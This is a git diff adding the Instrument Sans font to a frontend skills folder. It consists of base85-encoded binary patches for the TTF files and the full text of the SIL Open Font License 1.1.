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 ZOkaYV$LQN;@Jof8E9qY%{hMl8{}1PMEsp>I literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/InstrumentSans-OFL.txt b/skills/frontend-dev/canvas-fonts/InstrumentSans-OFL.txt new file mode 100644 index 0000000..4bb9914 --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/InstrumentSans-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2022 The Instrument Sans Project Authors (https://github.com/Instrument/instrument-sans) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/InstrumentSans-Regular.ttf b/skills/frontend-dev/canvas-fonts/InstrumentSans-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..14c6113cdd3abcfa360f8d27bb42034aa91accc0 GIT binary patch literal 68028 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 SBiuei{- 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 